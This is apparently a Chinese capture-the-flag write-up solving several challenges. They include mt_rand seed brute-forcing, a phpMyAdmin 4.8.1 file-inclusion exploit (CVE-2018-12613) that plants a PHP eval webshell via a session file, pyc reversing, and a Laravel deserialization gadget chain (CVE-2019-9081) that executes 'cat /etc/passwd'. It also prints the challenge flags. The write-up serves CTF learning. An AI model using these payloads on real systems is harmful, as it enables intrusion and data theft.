枯燥的抽奖#
- 点开靶机链接,发现检查数据部分的 url
check.php
- 直接打开可以发现源代码,分析源代码
<?php
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
-
有前十位数据,可以尝试对随机数种子进行爆破,此处采用
php_mt_seed
进行爆破 -
查看一下说明文档,使用 gcc 进行编译
gcc -Wall -march=native -mtune=generic -O2 -fomit-frame-pointer -funroll-loops -fopenmp php_mt_seed.c -o php_mt_seed
-
根据文档中给出的调用方式,用 python 写脚本进行整理
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2='W4hCHBi0Ej' str3 = str1[::-1] length = len(str2) res='' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' ' break print res
输出结果为
58 58 0 61 30 30 0 61 7 7 0 61 38 38 0 61 43 43 0 61 37 37 0 61 8 8 0 61 26 26 0 61 40 40 0 61 9 9 0 61
-
在 kali 中执行
./php_mt_seed 58 58 0 61 30 30 0 61 7 7 0 61 38 38 0 61 43 43 0 61 37 37 0 61 8 8 0 61 26 26 0 61 40 40 0 61 9 9 0 61
此处已经跑出来随机数种子了
-
将 PHP 代码稍作修改,跑一遍
<?php
$_SESSION['seed']=492242344;
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
8.得到结果
9.结果提交正确
我有一个数据库#
- 点开页面啥都没有
- 用 dirb 扫后台
dirb http://183.129.189.60:10005
-
扫描出 robots.txt,phpmyadmin,phpinfo.php
-
进入 phpmyadmin,发现是 4.8.1,存在任意文件包含漏洞(
CVE-2018-12613
) -
尝试进行文件包含
-
确实存在漏洞,对该漏洞进一步利用
-
由于 PHP 会序列化参数传递的值,并且保存在本地的 session 文件中,可以使用该特性进行文件包含
-
在数据库中执行查询小马的操作
SELECT "<?php echo eval($_GET['cmd']); ?>";
-
修改 url 触发文件包含
183.129.189.60:10005/phpmyadmin//index.php?target=db_sql.php%253f/.../../../../../../../../..//var/lib/php/sessions/sess_v0d66301oimgg22m3vsenbhqul
此处 sess_之后的部分是 cookie 中 phpmyadmin 的值,在 phpinfo 中可以找到 session 位置
-
分别通过传入以下命令查找 flag
var_dump(scandir('/'));
var_dump(file_get_contents('/flag'));
relax#
下载下来惊奇地发现居然是用 rpg maker xp 制作的游戏!!!重新唤起了我久远的记忆!!!这里我就取巧了!
-
在游戏根目录新建 Game.rxproj 文件,然后用 RPG Maker Xp 打开
-
在魔塔的最后一个地图层找到 flag 的 key1
-
在迷宫的最后一个地图层找到 flag 的 key2
-
拼好就是 flag
GWHT{You_Know_RPGXP_Well!!}
pyre#
下载得到 pyc 文件,拿到
在线工具
进行解密,得到解密后的代码
print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1)
for i in range(l):
num = ((input1[i] + i) % 128 + 128) % 128
code += num
for i in range(l - 1):
code[i] = code[i] ^ code[i + 1]
print code
code = [
'\x1f',
'\x12',
'\x1d',
'(',
'0',
'4',
'\x01',
'\x06',
'\x14',
'4',
',',
'\x1b',
'U',
'?',
'o',
'6',
'*',
':',
'\x01',
'D',
';',
'%',
'\x13']
这段代码只是给了大概意思,并不能真的跑起来,需要做一部分修改,下面是修改后的
input1="**"
print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1)
code=[]
for i in range(l):
num = ((ord(input1[i]) + i) % 128 + 128) % 128
code.append(num)
for i in range(l - 1):
code[i] = chr(code[i]^ code[i + 1])
print code
进一步分析可知,code 的最后一位并没有做异或处理,可以进行反向异或得到前一位的值,然后重复这个步骤得到整个 code 的值,对整个 code 反向计算有点麻烦,采取正向爆破方式,脚本如下:
import string
code = [
'\x1f',
'\x12',
'\x1d',
'(',
'0',
'4',
'\x01',
'\x06',
'\x14',
'4',
',',
'\x1b',
'U',
'?',
'o',
'6',
'*',
':',
'\x01',
'D',
';',
'%',
19]
l = len(code)
ll=range(l - 1)
ll.reverse()
for i in ll:
code[i] = ord(code[i])^ code[i + 1]
ss=string.ascii_letters + string.digits+string.punctuation
s={}
for i in range(l):
for v in ss:
num = ((ord(v) + i) % 128 + 128) % 128
if code[i]==num:
s[i]=v
break
a=""
for key,values in s.items():
a+=values
print a
flag:GWHT{Just_Re_1s_Ha66y!}
warmup#
-
打开站点扫了一通,发现存在 robots.txt
-
访问后得到提示
User-agent: * Disallow: /u_c4nNot_s3e_me Notice: l = len(m) for i in range(l): num = (((m[i])+i) % 128 +128) % 128 code += chr(num) for i in range(l-1): code[i] = code[i]^code[i+1] with open("u_c4nNot_s3e_me","wb") as f: for i in code: f.write(i)
-
该算法和上题算法完全一致
-
将该文件下载后,用 cat 命令提取
cat u_c4nNot_s3e_me|base64
-
python 脚本如下:
import string import base64 a = base64.b64decode('fDIZH1FTChYfBh1CX3B+DnZ+eQA3Snp5AmxRBl0mOgcKGFIIN3cYGBMPB1xtPFI3agcLBz5xWCkM DTlDAicmdg5FCUYVARUQTR9EOQEwCF08MklNAy8qKStubHs8GQEQCDVUVkljJloKCg0OCBkUAjI8 TAN3cC1HA3Y=') code = list(a) l = len(code) code[l-1]=ord(code[l-1]) ll=range(l - 1) ll.reverse() for i in ll: code[i] = ord(code[i])^ code[i + 1] ss=string.ascii_letters + string.digits+string.punctuation s={} for i in range(l): for v in ss: num = ((ord(v) + i) % 128 + 128) % 128 if code[i]==num: s[i]=v break a="" for key,values in s.items(): a+=values print a
-
得到部分 index 的源代码
-
分析该代码,发现可能存在反序列化漏洞
CVE-2019-9081
-
上 PHP 脚本,构造反序列化
<?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app){ $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } } } namespace{ $genericuser = new Illuminate\Auth\GenericUser( array( "expectedOutput"=>array("0"=>"1"), "expectedQuestions"=>array("0"=>"1") ) ); $application = new Illuminate\Foundation\Application( array( "Illuminate\Contracts\Console\Kernel"=> array( "concrete"=>"Illuminate\Foundation\Application" ) ) ); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand( "system",array('cat /etc/passwd'), $genericuser, $application ); echo urlencode(serialize($pendingcommand)); }
-
通过该脚本可以找到根目录下面有个假的 flag...
-
后面可能需要提权才能做,但是反弹 shell 没成功,暂且不表
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论